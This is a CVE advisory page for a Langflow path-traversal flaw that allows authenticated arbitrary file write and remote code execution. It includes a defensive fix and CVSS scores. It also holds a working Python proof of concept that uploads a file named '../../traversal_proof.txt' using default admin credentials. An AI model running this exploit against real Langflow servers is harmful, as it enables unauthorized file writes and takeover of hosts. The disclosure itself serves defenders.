Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for…
GitHub_M·CWE-22·Published 2026-03-19
Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.
Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.
Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.
### Summary While reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). ### Details The vulnerability exists in two layers: 1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters. 2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check. **Recommended Fix:** 1. Sanitize the multipart filename before processing: ```python from pathlib import Path as StdPath new_filename = StdPath(file.filename or "").name # Strips directory traversal characters if not new_filename or ".." in new_filename: raise HTTPException(status_code=400, detail="Invalid file name") ``` 2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class. ### PoC This Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory. ```python import requests BASE_URL = "http://localhost:7860" # Authenticate to get a valid JWT token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"] # Payload using directory traversal in the multipart filename TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY" resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, ) print(f"Status: {resp.status_code}") # Returns 201 # The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt` ``` Server Logs: ``` 2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. ``` Docker cntainer file: ``` user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt ``` ### Impact Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.
Langflow es una herramienta para construir y desplegar agentes y flujos de trabajo impulsados por IA. Las versiones 1.2.0 a 1.8.1 tienen un bypass del parche para CVE-2025-68478 (Control Externo del Nombre de Archivo), lo que lleva a que el problema arquitectónico raíz dentro de 'LocalStorageService' permanezca sin resolver. Debido a que la capa de almacenamiento subyacente carece de comprobaciones de contención de límites, el sistema depende completamente de la dependencia 'ValidatedFileName' de la capa HTTP. Este fallo de defensa en profundidad deja el endpoint 'POST /api/v2/files/' vulnerable a la escritura arbitraria de archivos. El nombre de archivo de la carga multipart omite la protección del parámetro de ruta, permitiendo a atacantes autenticados escribir archivos en cualquier lugar del sistema anfitrión, lo que lleva a la ejecución remota de código (RCE). La versión 1.9.0 contiene una corrección actualizada.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 10.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 10.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Secondary | NVD | 9.9 | 3.1 | 6.0 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Secondary | GHSA | 9.9 | — | — | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |